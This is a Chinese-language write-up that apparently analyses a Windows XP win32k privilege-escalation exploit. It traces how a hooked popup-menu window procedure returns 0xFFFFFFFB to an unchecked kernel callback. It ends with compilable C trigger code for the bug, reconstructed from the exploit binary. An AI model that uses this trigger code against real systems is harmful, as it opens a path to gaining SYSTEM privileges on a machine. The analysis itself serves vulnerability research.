0x00 简介


通过VMware和Windbg搭建32位内核调试环境,系统为xp sp2,执行漏洞利用程序win32.exe calc.exe,弹出了一个SYSTEM权限的calc。

enter image description here

通过IDA分析win32.exe,可以看到signed int __cdecl sub_4010F2()函数通过调用ZwQuerySystemInformation泄露内核模块ntkrnlpa.exe基址,最终得到PsLookupProcessByProcessId函数地址,该函数用于漏洞利用代码。

enter image description here

sub_401830函数是漏洞利用代码,完成权限提升操作。

enter image description here

0x01 调试过程


通过在函数上设置断点,可以得到漏洞利用触发位置。

enter image description here

可见是由TrackPopupMenu最终触发了漏洞,调用点为call dwordptr[esi+20],此时esi的值为0xfffffffb。 通过函数调用栈,对esi值的来源进行反向跟踪,可以知道在Menu的消息处理函数signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中调用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值,最终触发了漏洞。

enter image description here

通过对xxxMNFindWindowFromPoint的调用过程进行分析,找到异常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。异常的值最终是由KeUserModeCallback函数通过v28指向的值返回。其中KeUserModeCallback函数的原型如下:

#!cpp
NTSTATUS
KeUserModeCallback (
     IN ULONGApiNumber,
     IN PVOIDInputBuffer,
     IN ULONGInputLength,
     OUT PVOID *OutputBuffer,
     IN PULONGOutputLength
     );

enter image description here

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallbackKiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用sub_401475(pfnFilterProc)函数。

enter image description here

enter image description here

enter image description here

程序在pfnFilterProc中通过SetWindowLongA设置PopupMenu的窗口消息处理函数,那么当xxxCallHook函数返回后,图中的!(*(_BYTE *)(a1 + 22) & 4)条件成立,将执行xxxSendMessageToClient,该函数内将执行KeUserModeCallback,最终调用用户态函数sub_4013F3

enter image description here

enter image description here

sub_4013F3函数尾部返回了0xFFFFFFFB。与KeUserModeCallback函数通过v28返回的值相等。为了进一步确认,修改sub_4013F3函数返回值为0xFFFFFFFF。可以看到v28指向的值变成了0xFFFFFFF

enter image description here

enter image description here

通过修改win32.exe中的指令,将0x40146D处的push 0FFFFFFFBh修改为push 0FFFFFFFFh,执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值,最终导致了权限提升。

enter image description here

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时,没有判断消息函数的返回值,最终导致了权限提升。 所以漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后,xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。

enter image description here

0x02 触发代码


通过上面的分析,根据win32.exe中代码,稍加简化,可以得到如下的漏洞触发代码。

#!cpp
#include"stdafx.h"
#include<windows.h>
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
  {
if ( dword_40DA5C != 1 )
    {
      dword_40DA5C = 1;
//模仿点击消息,触发0x1EB消息处理,执行pfnFilterProc
      PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
      PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
      PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
    }
  }
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
  HMENU v0; // [email protected]
  HMENU v1; // [email protected]
  MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
  MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
  HMENU v9; // [sp+6Ch] [bp-4h]@1

  v9 = 0;
  memset((void *)&mi, 0, sizeof(mi));
  memset(&v4, 0, sizeof(MENUITEMINFOA));
  mi.cbSize = 48;
  v0 = CreatePopupMenu();
if ( v0 )
  {
    mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
    {
      v4.fMask = 68;
      v4.dwTypeData = (LPSTR)&dword_40DA54;
      v4.cch = 1;
      v4.hSubMenu = v0;
      v4.cbSize = 48;
      v1 = CreatePopupMenu();
      v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
      {
        DestroyMenu(v0);
if ( v1 )
          DestroyMenu(v1);
      }
    }
else
      DestroyMenu(v0);
  }
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB,触发漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
  {
        UnhookWindowsHook(4, pfnFilterProc);
        //设置PopupMenu的窗口消息处理函数
        lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
  }
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // [email protected]
  DWORD v2; // [email protected]
int result; // [email protected]
  HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
  LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
  WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
  v5 = 0;
  lpAddress = 0;
  memset(&SystemInfo, 0, 0x24u);
  memset(&WndClass, 0, 0x28u);
  WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
  WndClass.lpszClassName = "woqunimalegebi";
  GetNativeSystemInfo(&SystemInfo);
if ( 
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
)
  {
v1 = 0;
v5 = 1;
    v1 = sub_401306();
    if ( v1 )
    {
        v2 = GetCurrentThreadId();
        SetWindowsHookExA(4, pfnFilterProc, 0, v2);
        TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
    }
    DestroyWindow(hWnd);
if ( v1 )
      DestroyMenu((HMENU)v1);
    UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = 0;
  }
else
    result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
    Exp();
    return 0;
}

编译执行之后,可以看到触发了异常。

enter image description here